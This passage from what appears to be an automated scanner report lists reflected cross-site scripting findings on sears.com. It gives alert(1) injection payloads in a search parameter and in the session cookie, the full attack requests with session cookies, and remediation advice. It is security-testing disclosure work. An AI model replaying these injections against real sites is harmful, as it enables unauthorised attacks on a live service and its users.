WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-18372f'-alert(1)-'614f5b907db&catalogInd=DZD&dzName=A4'; var imagePath='http://c2.shld.net/111520/'; intIpAjaxFlag = 'FALSE'; if(storeId='10153'){ searchRedesignFlag = 'true'; } var scene7Url='http://s.shld.net/is/image/Sea ...[SNIP]...
The value of the keyword request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cfe86"style%3d"x%3aexpression(alert(1))"2bd9fa647c2 was submitted in the keyword parameter. This input was echoed as cfe86"style="x:expression(alert(1))"2bd9fa647c2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /shc/s/search_10153_12605?keyword=cfe86"style%3d"x%3aexpression(alert(1))"2bd9fa647c2&shopBySeller=true&sellerName= HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
The value of the keyword request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9bd3a"%3balert(1)//6aab6711387 was submitted in the keyword parameter. This input was echoed as 9bd3a";alert(1)//6aab6711387 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/search_10153_12605?keyword=9bd3a"%3balert(1)//6aab6711387&shopBySeller=true&sellerName= HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dfd7a'-alert(1)-'b379937399d was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /GiveTogether HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6rdfd7a'-alert(1)-'b379937399d; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 94419'-alert(1)-'1175c5e0de5 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/AdYourWay?storeId=10153&catalogId=12605&langId=-1&adCell=WF HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r94419'-alert(1)-'1175c5e0de5; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c678'-alert(1)-'2c9a83ea5d5 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/BrowseStaticPageCmd?storeId=10153&vName=BuyingGuides+Treadmill&catalogInd=NB&catalogId=12605&adCell=W4&adCell=W8 HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r5c678'-alert(1)-'2c9a83ea5d5; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a11e8'-alert(1)-'30ab73461ef was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/CountryChooserView?storeId=10153&catalogId=12605?adCell=EGshipping&adCell=W4 HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6ra11e8'-alert(1)-'30ab73461ef; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 41e85'-alert(1)-'4d58e6d174a was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/GRLandingPageView?storeId=10153&catalogId=12605&langId=&adCell=W3 HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r41e85'-alert(1)-'4d58e6d174a; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; 